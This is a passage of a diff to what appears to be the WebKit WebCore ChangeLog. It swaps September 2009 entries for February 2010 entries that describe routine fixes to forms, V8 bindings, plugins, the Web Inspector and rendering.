-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype.update):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
-        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
-        (WebInspector.StylePropertyTreeElement.prototype):
-        * inspector/front-end/inspector.html:
-
-2009-09-04  Tony Chang  <tony@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Implement <input type="range"> for Chromium Linux by painting
-        the slider and the thumb using skia.
-        https://bugs.webkit.org/show_bug.cgi?id=28928
-
-        Covered by existing tests (we're currently hitting an assert for them).
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::adjustSliderThumbSize):
-        * rendering/RenderThemeChromiumLinux.h:
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::drawVertLine):
-        (WebCore::drawHorizLine):
-        (WebCore::drawBox):
-        (WebCore::RenderThemeChromiumSkia::paintSliderTrack):
-        (WebCore::RenderThemeChromiumSkia::paintSliderThumb):
-        * rendering/RenderThemeChromiumSkia.h:
-
-2009-09-04  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        - Implement <input type=color> as a text field.
-        - ValidityState::typeMismatch supports for type=color.
-        https://bugs.webkit.org/show_bug.cgi?id=28966
-
-        Tests: fast/forms/ValidityState-patternMismatch-unsupported.html
-               fast/forms/ValidityState-typeMismatch-color.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::valueMissing):
-        (WebCore::HTMLInputElement::patternMismatch):
-        (WebCore::HTMLInputElement::setInputType):
-        (WebCore::HTMLInputElement::formControlType):
-        (WebCore::HTMLInputElement::saveFormControlState):
-        (WebCore::HTMLInputElement::restoreFormControlState):
-        (WebCore::HTMLInputElement::accessKeyAction):
-        (WebCore::HTMLInputElement::rendererIsNeeded):
-        (WebCore::HTMLInputElement::createRenderer):
-        (WebCore::HTMLInputElement::appendFormData):
-        (WebCore::HTMLInputElement::valueWithDefault):
-        (WebCore::HTMLInputElement::storesValueSeparateFromAttribute):
-        (WebCore::HTMLInputElement::defaultEventHandler):
-        (WebCore::HTMLInputElement::isRequiredFormControl):
-        (WebCore::HTMLInputElement::dataList):
-        * html/HTMLInputElement.h:
-        (WebCore::HTMLInputElement::):
-        (WebCore::HTMLInputElement::isTextField):
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::typeMismatch):
-        (WebCore::ValidityState::isValidColorString):
-        * html/ValidityState.h:
-
-2009-09-04  Mads Ager  <ager@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Crash when updating document cache
-        https://bugs.webkit.org/show_bug.cgi?id=28965
-
-        Initialization of a V8 JavaScript context can fail.  When that
-        happens, do not attempt to update the document wrapper cache.
-
-        This code path is exercised by http/tests/security/javascriptURL/javascriptURL-in-new-iframe.html.
-
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
         * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::updateDocument):
-
-2009-09-04  Yaar Schnitman  <yaar@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Two bugs:
-
-        https://bugs.webkit.org/show_bug.cgi?id=25489
-        CSS property background-position is now serialized in shorthand string as
-        background-position-x background-position-y, as the specification requires
-        (See http://www.w3.org/TR/2008/WD-css3-background-20080910/#the-background-position).
-        
-
-        https://bugs.webkit.org/show_bug.cgi?id=26541
-        CSS background-color is now be serialized before other background properties, 
-        as CSS specification requires (See http://dev.w3.org/csswg/cssom/#css-value).  
-
-        An existing layout test that accepted wrong order and skipped position test 
-        had to be modified.
-
-        * css/CSSMutableStyleDeclaration.cpp:
-        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
-
-2009-09-03  Kent Tamura  <tkent@chromium.org>
+        (WebCore::V8Proxy::retrieve):
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::evaluateScript):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::startElementNs):
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::controls):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::parseTag):
+        (WebCore::HTMLTokenizer::processToken):
+        * inspector/InspectorController.cpp:
+        (WebCore::canPassNodeToJavaScript):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isProcessingUserGesture):
+        (WebCore::FrameLoader::open):
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectsInAllWorlds):
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectInWorld):
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::didNotAllowScript):
 
-        Reviewed by David Levin.
+2010-02-24  Adam Barth  <abarth@webkit.org>
 
-        Add support for HTMLTextAreaElement.textLength
-        https://bugs.webkit.org/show_bug.cgi?id=28929
+        Reviewed by Darin Fisher.
 
-        Test: fast/forms/textarea-textlength.html
+        Add call to FrameLoaderClient::allowPlugins everywhere arePluginsEnabled is called
+        https://bugs.webkit.org/show_bug.cgi?id=34997
 
-        * html/HTMLTextAreaElement.h:
-        (WebCore::HTMLTextAreaElement::textLength):
-        * html/HTMLTextAreaElement.idl:
+        If we want to let the FrameLoaderClient override arePluginsEnabled,
+        then we need to call out to the FrameLoaderClient every time we read
+        the setting.
 
-2009-09-03  Alexey Proskuryakov  <ap@apple.com>
+        We don't have testing infrustructure for these changes, which is lame.
+        I'm supposed to fix that in Bug 33991.
 
-        Reviewed by Darin Adler.
+        * dom/DOMImplementation.cpp:
+        (WebCore::DOMImplementation::createDocument):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::substituteMIMETypeFromPluginDatabase):
+        * loader/PluginDocument.cpp:
+        (WebCore::PluginTokenizer::writeRawData):
+        * page/Page.cpp:
+        (WebCore::Page::pluginData):
+        * plugins/MimeType.cpp:
+        (WebCore::MimeType::enabledPlugin):
 
-        <rdar://problem/7180197>, https://bugs.webkit.org/show_bug.cgi?id=28822
-        REGRESSION(r31231): Creating document with current document's DOCTYPE causes crashes
+2010-02-24  James Robinson  <jamesr@chromium.org>
 
-        Test: fast/dom/DOMImplementation/createDocument-with-used-doctype.html
+        Reviewed by Dmitry Titov.
 
-        * dom/DOMImplementation.cpp: (WebCore::DOMImplementation::createDocument): Even though we
-        cannot raise an exception immediately out of fear of breaking Acid3, we shouldn't use a
-        DocumentType node in two documents.
+        Do not fire focus events while a modal dialog is up.
+        https://bugs.webkit.org/show_bug.cgi?id=33962
 
-2009-09-03  Brady Eidson  <beidson@apple.com>
+        Modifies the FocusController to check the frame's page's defersLoading() flag before firing blur/focus events.
+        This flag is set while a modal dialog (like a window.alert or window.confirm) is up.  Firing the events causes
+        assertion failures, since when the dialog is dismissed the PageGroupLoadDeferrer assumes that no script has run.
 
-        Reviewed by Sam Weinig.
+        Manual tests only as DumpRenderTree does not support modal dialogs
 
-        Page Cache should support pages with Frames.
-        https://bugs.webkit.org/show_bug.cgi?id=13631
+        * manual-tests/modal-dialog-blur-selfclose.html: Added.
+        * manual-tests/modal-dialog-blur.html: Added.
+        * page/FocusController.cpp:
+        (WebCore::dispatchEventsOnWindowAndFocusedNode):
 
-        Tests: fast/events/pageshow-pagehide-on-back-cached-with-frames.html
-               fast/loader/frames-with-unload-handlers-in-page-cache.html
+2010-02-24  Dan Bernstein  <mitz@apple.com>
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
+        Reviewed by Anders Carlsson.
 
-2009-09-03  Steve VanDeBogart  <vandebo@chromium.org>
+        <rdar://problem/7018611> innerHTML applies meta/link/title tags from a detached html element
 
-        Reviewed by Eric Seidel.
+        Test: fast/parser/fragment-parser.html
 
-        Handle middle click in Chromium like QT
-        https://bugs.webkit.org/show_bug.cgi?id=28696
+        Ensure that fragment parsing has no side effects on the fragment’s owner
+        document.
 
-        Tested by middle-click-onpaste.html.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::insertNode): Don’t call
+        dispatchDocumentElementAvailable() for fragments.
+        (WebCore::HTMLParser::handleError): Don’t copy attributes to the owner
+        document’s <html> and <body> elements when a redundant <html> or <body>
+        is encountered while parsing a fragment.
+        (WebCore::HTMLParser::framesetCreateErrorCheck): Don’t change the owner
+        document’s <body> element’s style when parsing a fragment.
+        (WebCore::HTMLParser::createHead): Don’t attach the new <head> to the
+        ownder document of a fragment.
+
+2010-02-24  David Levin  <levin@chromium.org>
 
-        * platform/Pasteboard.h:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::getData):
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::Pasteboard):
-        (WebCore::Pasteboard::isSelectionMode):
-        (WebCore::Pasteboard::setSelectionMode):
-        (WebCore::Pasteboard::canSmartReplace):
-        (WebCore::Pasteboard::plainText):
-        (WebCore::Pasteboard::documentFragment):
-        * platform/chromium/PasteboardPrivate.h:
-        (WebCore::PasteboardPrivate::):
+        Reviewed by Darin Adler.
 
-2009-09-03  Brady Eidson  <beidson@apple.com>
+        Need to create a CanvasSurface base class for HTMLCanvasElement.
+        https://bugs.webkit.org/show_bug.cgi?id=35322
 
-        Reviewed by Sam Weinig.
+        This is an initial step in making the OffscreenCanvas object.
 
-        More partial work towards "Page Cache should support pages with Frames"
-        https://bugs.webkit.org/show_bug.cgi?id=13631
+        No new functionality so no new tests.
 
-        Fix a bug where subframes weren't asked if they were cacheable.
+        * GNUmakefile.am: Added CanvasSurface to the build.
+        * WebCore.gypi: ditto
+        * WebCore.pro: ditto
+        * WebCore.vcproj/WebCore.vcproj: ditto
+        * WebCore.xcodeproj/project.pbxproj: ditto
+        * dom/CanvasSurface.cpp: Added.
+        * dom/CanvasSurface.h: Added.
+        * html/HTMLCanvasElement.h: Made HTMLCanvasElement inherit from CanvasSurface.
 
-        No new tests, especially since page caching for frames isn't turned on yet.
-        A layout test will come in my next patch, which enables frames in the page cache.
+2010-02-24  Peter Kasting  <pkasting@google.com>
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        Reviewed by Adam Barth.
 
-2009-09-03  Adam Barth  <abarth@webkit.org>
+        Fix regression in calculating an animated image's start time.
+        https://bugs.webkit.org/show_bug.cgi?id=35115
 
-        Reviewed by eric@webkit.org.
+        * platform/graphics/BitmapImage.cpp:
+        (WebCore::BitmapImage::startAnimation):
 
-        https://bugs.webkit.org/show_bug.cgi?id=24696
+2010-02-24  Dan Bernstein  <mitz@apple.com>
 
-        Added mixed content methods to FrameLoaderClient.
+        Reviewed by Simon Fraser.
 
-        * loader/EmptyClients.h:
-        (WebCore::EmptyFrameLoaderClient::didDisplayInsecureContent):
-        (WebCore::EmptyFrameLoaderClient::didRunInsecureContent):
-        * loader/FrameLoaderClient.h:
+        <rdar://problem/7682827> Text with :first-letter lingers after being removed
 
-2009-09-03  Kevin Watters  <kevinwatters@gmail.com>
+        Test: fast/css/first-letter-set-text.html
 
-        Reviewed by Kevin Ollivier.
+        * rendering/RenderTextFragment.cpp:
+        (WebCore::RenderTextFragment::setTextInternal): Set this back as the
+        text node’s renderer, as removing the first letter has resets the node’s
+        renderer.
 
-        [wx] Frames support
-        https://bugs.webkit.org/show_bug.cgi?id=19041
+2010-02-24  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-        * page/wx/EventHandlerWx.cpp:
-        (WebCore::EventHandler::passMousePressEventToSubframe):
-        (WebCore::EventHandler::passMouseMoveEventToSubframe):
-        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
-        (WebCore::EventHandler::passWheelEventToWidget):
-        (WebCore::EventHandler::tabsToAllControls):
-        (WebCore::EventHandler::passSubframeEventToSubframe):
-        (WebCore::EventHandler::passMouseDownEventToWidget):
-        * platform/wx/RenderThemeWx.cpp:
-        (WebCore::nativeWindowForRenderObject):
-        (WebCore::RenderThemeWx::paintButton):
-        (WebCore::RenderThemeWx::paintTextField):
-        (WebCore::RenderThemeWx::paintMenuList):
-        (WebCore::RenderThemeWx::paintMenuListButton):
-        * platform/wx/ScrollbarThemeWx.cpp: Added.
-        (WebCore::ScrollbarTheme::nativeTheme):
-        (WebCore::ScrollbarThemeWx::~ScrollbarThemeWx):
-        (WebCore::ScrollbarThemeWx::scrollbarThickness):
-        (WebCore::ScrollbarThemeWx::hasThumb):
-        (WebCore::ScrollbarThemeWx::buttonSize):
-        (WebCore::ScrollbarThemeWx::backButtonRect):
-        (WebCore::ScrollbarThemeWx::forwardButtonRect):
-        (WebCore::ScrollbarThemeWx::trackRect):
-        (WebCore::ScrollbarThemeWx::paintScrollCorner):
-        (WebCore::ScrollbarThemeWx::paint):
-        * platform/wx/ScrollbarThemeWx.h: Added.
-        (WebCore::ScrollbarThemeWx::hasButtons):
-        * platform/wx/TemporaryLinkStubs.cpp:
-        * platform/wx/wxcode/gtk/scrollbar_render.cpp: Added.
-        (wxStyleForPart):
-        (GetButtonWidget):
-        (wxGetGdkWindowForDC):
-        (wxRenderer_DrawScrollbar):
-        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp: Added.
-        (wxScrollbarPartToHIPressedState):
-        (wxRenderer_DrawScrollbar):
-        * platform/wx/wxcode/scrollbar_render.h: Added.
-        (calcThumbStartAndLength):
-        * platform/wx/wxcode/win/non-kerned-drawing.cpp:
-        (WebCore::drawTextWithSpacing):
-        * platform/wx/wxcode/win/scrollbar_render.cpp: Added.
-        (GraphicsHDC::GraphicsHDC):
-        (GraphicsHDC::~GraphicsHDC):
-        (GraphicsHDC::operator HDC):
-        (getTSStateForPart):
-        (wxRenderer_DrawScrollbar):
-        * webcore-wx.bkl:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-09-03  Yael Aharon  <yael.aharon@nokia.com>
+        [Qt] Faster cut-off for rectangle fill without shadow.
+        https://bugs.webkit.org/show_bug.cgi?id=35337
 
-        Reviewed by Simon Hausmann.
+        * platform/graphics/qt/GraphicsContextQt.cpp:
 
-        [Qt] Page content is not displayed in case of HTTP status error
-        https://bugs.webkit.org/show_bug.cgi?id=28949
+2010-02-24  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        If the server sent content, show it to the user instead of an error,
-        even if the HTTP status code is not success.
+        Reviewed by nobody, build fix.
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
-        (WebCore::QNetworkReplyHandler::finish):
-        (WebCore::QNetworkReplyHandler::forwardData):
-        (WebCore::QNetworkReplyHandler::resetState):
-        * platform/network/qt/QNetworkReplyHandler.h:
+        [Qt] Corrects build break of QtLauncher on Windows.
+        The VERSION variable was not set anymore while building in trunk.
 
-2009-09-03  Drew Wilson  <atwilson@google.com>
+        * WebCore.pro:
 
-        Reviewed by Dimitri Glazkov.
+2010-02-24  Alexander Pavlov  <apavlov@chromium.org>
 
-        Need to update v8 bindings to support passing multiple ports to postMessage()
-        https://bugs.webkit.org/show_bug.cgi?id=28839
+        Reviewed by Pavel Feldman.
 
-        Added support for passing MessagePortArray to v8 bindings.
+        Web Inspector: Activate/Deactivate breaks does not look consistent with rest of the toolbar.
 
-        New tests that now pass with V8:
-               fast/events/message-port-multi.html
-               fast/workers/worker-context-multi-port.html
-               fast/workers/worker-multi-port.html
+        Fix style and add the new images to the related file sets.
+        https://bugs.webkit.org/show_bug.cgi?id=35307
 
         * WebCore.gypi:
-        Added V8MessageEventCustom.cpp and V8MessagePortCustom.h
-        * bindings/v8/custom/V8CustomBinding.h:
-        Added custom postMessage() handlers for various classes.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::DOMWindowPostMessage):
-        Added custom handler that supports MessagePortArray.
-        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
-        (WebCore::DedicatedWorkerContextPostMessage):
-        Added custom handler that supports MessagePortArray.
-        * bindings/v8/custom/V8MessageEventCustom.cpp: Added.
-        (WebCore::MessageEventPorts):
-        Added getter for ports attribute.
-        (WebCore::MessageEventInitMessageEvent):
-        Added custom handler that supports MessagePortArray.
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::MessagePortPostMessage):
-        Added custom handler that supports MessagePortArray.
-        (WebCore::getMessagePortArray):
-        Added helper function that supports converting from a sequence-like object to a MessagePortArray.
-        * bindings/v8/custom/V8MessagePortCustom.h: Added.
-        Added declaration for getMessagePortArray().
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::WorkerPostMessage):
-        Added custom handler that supports MessagePortArray.
+        * inspector/front-end/Images/deactivateBreakpointsButtonGlyph.png:
+        * inspector/front-end/Images/deactivateBreakpointsDisabledButtonGlyph.png:
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
 
-2009-09-03  Drew Wilson  <atwilson@google.com>
+2010-02-24  Xan Lopez  <xlopez@igalia.com>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Gustavo Noronha.
 
-        Need to update JS bindings and IDL files to support multiple message ports in postMessage()
-        https://bugs.webkit.org/show_bug.cgi?id=28460
+        Get rid of an extra call to
+        setNPWindowIfNeeded. updatePluginWidget already calls this for us
+        if needed.
 
-        Added new toJSSequence() API which validates that a JSValue meets the WebIDL criteria for a sequence.
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::platformStart):
 
-        Tests: fast/events/message-port-multi.html
-               fast/workers/worker-context-multi-port.html
-               fast/workers/worker-multi-port.html
+2010-02-24  Xan Lopez  <xlopez@igalia.com>
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        Added JSMessagePortCustom.h and JSMessageEventCustom.cpp.
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::toJSSequence):
-        Added toJSSequence() API to do validation on sequence-like objects per WebIDL.
-        * bindings/js/JSDOMBinding.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::postMessage):
-        Added custom handler for postMessage() that handles being passed MessagePortArrays.
-        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
-        (WebCore::JSDedicatedWorkerContext::postMessage):
-        Added custom handler for postMessage() that handles being passed MessagePortArrays.
-        * bindings/js/JSMessageEventCustom.cpp: Added.
-        (WebCore::JSMessageEvent::ports):
-        Added custom ports() getter that converts from MessagePortArray to JSArray.
-        (WebCore::JSMessageEvent::initMessageEvent):
-        Added support for passing a MessagePortArray.
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::postMessage):
-        Added custom handler for postMessage() that handles being passed MessagePortArray.
-        (WebCore::fillMessagePortArray):
-        New helper routine that validates/converts from a JS sequence o a WebCore::MessagePortArray.
-        * bindings/js/JSMessagePortCustom.h: Added.
-        * bindings/js/JSWorkerCustom.cpp:
-        (WebCore::JSWorker::postMessage):
-        Added custom handler for postMessage() that handles being passed MessagePortArray.
-        * dom/MessageEvent.cpp:
-        * dom/MessageEvent.h:
-        (WebCore::MessageEvent::ports):
-        Changed ports() to return a MessagePortArray* since this value can be null.
-        * dom/MessageEvent.idl:
-        Updated IDL to match HTML5 spec (now accepts MessagePortArrays instead of a solitary MessagePort).
-        * dom/MessagePort.cpp:
-        * dom/MessagePort.h:
-        * dom/MessagePort.idl:
-        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
-        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
-        * workers/DedicatedWorkerContext.cpp:
-        * workers/DedicatedWorkerContext.h:
-        * workers/DedicatedWorkerContext.idl:
-        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
-        * workers/Worker.cpp:
-        * workers/Worker.h:
-        * workers/Worker.idl:
-        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
+        Reviewed by Gustavo Noronha.
 
-2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
+        Try to sanitize a bit the geometry management of plugins.
 
-        Reviewed by Timothy Hatcher.
+        Stop doing contradictory things in updatePluginWidget (we were at
+        the same time pretending the geometry setting was delayed until
+        ::paint and setting the geometry not once but twice) and just set
+        it any time the windowRect or clipRect for the plugin has changed.
 
-        WebInspector: Do not query non-function call frames for function name.
+        This is closer to what the Mac port does, and fixes instances of
+        the plugins not being drawn until the window is resized or
+        scrolled. Other than that all manual and layout tests seems to
+        still work.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28799
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::setNPWindowIfNeeded):
 
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.CallFrameProxy):
-        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
+2010-02-23  Geoff Garen  <ggaren@apple.com>
 
-2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
+        Reviewed by Oliver Hunt.
 
-        Reviewed by Timothy Hatcher.
+        Simplify animation lifetime handling.  Previously we manually
+        determined whether our base element was safe when we unregistered
+        our listener, now we simply ensure that the base element itself
+        registers and unregisters the animation listener.
 
-        Crash after typing "clear" and pressing return in inspector console.
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::create):
+        (WebCore::ConditionEventListener::disconnectAnimation):
+        (WebCore::ConditionEventListener::ConditionEventListener):
+        (WebCore::ConditionEventListener::operator==):
+        (WebCore::ConditionEventListener::handleEvent):
+        (WebCore::SVGSMILElement::eventBaseFor):
+        (WebCore::SVGSMILElement::connectConditions):
+        (WebCore::SVGSMILElement::disconnectConditions):
+        * svg/animation/SVGSMILElement.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=28684
+2010-02-23  Dmitry Titov  <dimich@chromium.org>
 
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._clearConsoleMessages):
-        (InjectedScript._inspectObject):
-        (InjectedScript._ensureCommandLineAPIInstalled):
+        Reviewed by David Levin.
 
-2009-09-03  Vitaly Repeshko  <vitalyr@chromium.org>
+        Chromium: Use V8::TerminateExecution to actually terminate workers.
+        https://bugs.webkit.org/show_bug.cgi?id=35137
 
-        Reviewed by Adam Barth.
+        Test: existing fast/workers/stress-js-execution.html which is currently failing
+        on Mac and Linux bots for Chromium.
 
-        [V8] Squeezed out some performance from string conversion.
-        https://bugs.webkit.org/show_bug.cgi?id=28945
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::evaluate):
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::forbidExecution):
 
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::WebCoreStringResource::WebCoreStringResource):
-        (WebCore::WebCoreStringResource::~WebCoreStringResource):
-        (WebCore::WebCoreStringResource::data):
-        (WebCore::WebCoreStringResource::length):
-        (WebCore::WebCoreStringResource::atomicString):
-        (WebCore::WebCoreStringResource::string):
-        Avoid calling virtual length method. Be more explicit with
-        external memory computation. Avoid function calls in data and
-        length.
-        (WebCore::):
-        (WebCore::v8StringToWebCoreString):
-        (WebCore::v8StringToAtomicWebCoreString):
-        (WebCore::v8NonStringValueToWebCoreString):
-        (WebCore::v8NonStringValueToAtomicWebCoreString):
-        Avoid extra calls of WebCoreStringResource::toString. When
-        AtomicString is computed pass it immediately when constructing
-        WebCoreStringResource. Use inline buffer for small strings.
-        * bindings/v8/V8Binding.h:
-        (WebCore::v8ValueToWebCoreString):
-        (WebCore::v8ValueToAtomicWebCoreString):
-        (WebCore::toString):
-        Inline dispatch of string vs. non-string values.
+2010-02-23  Enrica Casucci  <enrica@apple.com>
 
-2009-09-03  Vitaly Repeshko  <vitalyr@chromium.org>
+        Reviewed by Simon Fraser.
 
-        Reviewed by Adam Barth.
+        REGRESSION: WebKit crashes when deleting images on blogger.com (34957)
+        <rdar://problem/7651935>
+        https://bugs.webkit.org/show_bug.cgi?id=34957
 
-        [V8] Inlined common case of V8IsolatedWorld::getEntered to speed
-        up V8Proxy lookup.
-        https://bugs.webkit.org/show_bug.cgi?id=28946
+        Fixing a regression introduced with revision 53085. Anchor elements should not be considered
+        in editable content when calculating the position in the parent before the node.
+        
+        Test: editing/execCommand/delete-image-in-anchor.html
 
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::getEnteredImpl):
-        * bindings/v8/V8IsolatedWorld.h:
-        (WebCore::V8IsolatedWorld::getEntered):
+        * dom/Position.cpp:
+        (WebCore::Position::getInlineBoxAndOffset):
 
-2009-09-03  Kent Tamura  <tkent@chromium.org>
+2010-02-23  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Fix a regression bug that maxLength doesn't work for IME input.
-        https://bugs.webkit.org/show_bug.cgi?id=25253
+        https://bugs.webkit.org/show_bug.cgi?id=34634
+        Pasting a list into the middle of another list item should split the target
+        list item into two separate list items.  This matches the behavior in other
+        browsers.
 
-        Tests: fast/forms/input-maxlength-ime-completed.html
-               fast/forms/input-maxlength-ime-preedit.html
-
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::handleBeforeTextInsertedEvent):
-        * dom/InputElement.h:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::defaultEventHandler):
-        * wml/WMLInputElement.cpp:
-        (WebCore::WMLInputElement::defaultEventHandler):
+        Test: editing/pasteboard/paste-list-004.html
 
-2009-09-03  Cameron McCormack  <cam@mcc.id.au>
-
-        Reviewed by Eric Seidel.
-
-        Make SVGStyleElement title/media/type setters do something
-        https://bugs.webkit.org/show_bug.cgi?id=28828
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::insertAsListItems):
 
-        Test: svg/dom/style-reflect.html
+2010-02-23  Brady Eidson  <beidson@apple.com>
 
-        * svg/SVGStyleElement.cpp:
-        (WebCore::SVGStyleElement::setXmlspace): Actually change the attribute.
-        (WebCore::SVGStyleElement::setType): Ditto.
-        (WebCore::SVGStyleElement::setMedia): Ditto.
-        (WebCore::SVGStyleElement::setTitle): Ditto.
+        Reviewed by Tim Hatcher and Pavel Feldman.
 
-2009-09-03  Ben Murdoch  <benm@google.com>
+        Regression (r55107) - WebInspector docking is busted.
+        https://bugs.webkit.org/show_bug.cgi?id=35274
 
-        https://bugs.webkit.org/show_bug.cgi?id=28872
-        
-        Fixes a bug where handleEvent() in the V8 Custom SQL Statement Error binding would not return the correct result to WebCore after invoking the callback.
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::canAttachWindow): Use the minimum height for this calculation,
+          not the preferred height.
+        (WebCore::InspectorController::attachWindow): attachWindow() shouldn't decide the policy, as it is
+          often called partway through the show or dock procedure after some of the initial conditions have
+          changed. Let the front-end itself and the InspectorClient's make the policy decision at the start
+          of the show/dock operation.
+
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::canAttachWindow):
+        * inspector/InspectorFrontendHost.h:
+        * inspector/InspectorFrontendHost.idl:
 
-        Test: storage/statement-error-callback.html
+        * inspector/front-end/inspector.js:
+        (WebInspector.toggleAttach): Before attaching, ask the front-end-host if attaching is allowed.
 
-        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
-        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent): Return true from handleEvent() if the callback raised an exception or the callback itself returned true.
+2010-02-23  Mark Rowe  <mrowe@apple.com>
 
-2009-09-03  Maxime Simon  <simon.maxime@gmail.com>
+        Reviewed by Geoff Garen.
 
-        Reviewed by Eric Seidel.
+        <http://webkit.org/b/35287> ImageSourceCG::frameIsCompleteAtIndex returns false for all frames until image has completed loading
 
-        [Haiku] Adding three font-specific files to WebCore:
-        FontCustomPlatformData.cpp, FontCustomPlatformData.h,
-        and FontPlatformData.h
-        https://bugs.webkit.org/show_bug.cgi?id=28131
+        CGImageSourceGetStatusAtIndex claims that all frames of a multi-frame image are incomplete when we've not yet received the
+        complete data for an image that is using an incremental data source (<rdar://problem/7679174>). We work around this by
+        special-casing all frames except the last in an image and treating them as complete if they are present and reported as
+        being incomplete. We do this on the assumption that loading new data can only modify the existing last frame or append new
+        frames. The last frame is only treated as being complete if the image source reports it as such. This ensures that it is
+        truly the last frame of the image rather than just the last that we currently have data for.
 
-        * platform/graphics/haiku/FontCustomPlatformData.cpp: Added.
-        (WebCore::FontCustomPlatformData::~FontCustomPlatformData):
-        (WebCore::FontCustomPlatformData::fontPlatformData):
-        (WebCore::createFontCustomPlatformData):
-        * platform/graphics/haiku/FontCustomPlatformData.h: Added.
-        (WebCore::FontCustomPlatformData::FontCustomPlatformData):
-        * platform/graphics/haiku/FontPlatformData.h: Added.
-        (WebCore::FontPlatformData::FontPlatformData):
-        (WebCore::FontPlatformData::font):
-        (WebCore::FontPlatformData::size):
-        (WebCore::FontPlatformData::bold):
-        (WebCore::FontPlatformData::oblique):
-        (WebCore::FontPlatformData::hashTableDeletedFontValue):
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::ImageSource::frameIsCompleteAtIndex):
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+2010-02-23  Enrica Casucci  <enrica@apple.com>
 
         Reviewed by Darin Adler.
 
-        More partial work towards "Page Cache should support pages with Frames"
-        https://bugs.webkit.org/show_bug.cgi?id=13631
-
-        No new tests. (No change in behavior, current tests pass).
-
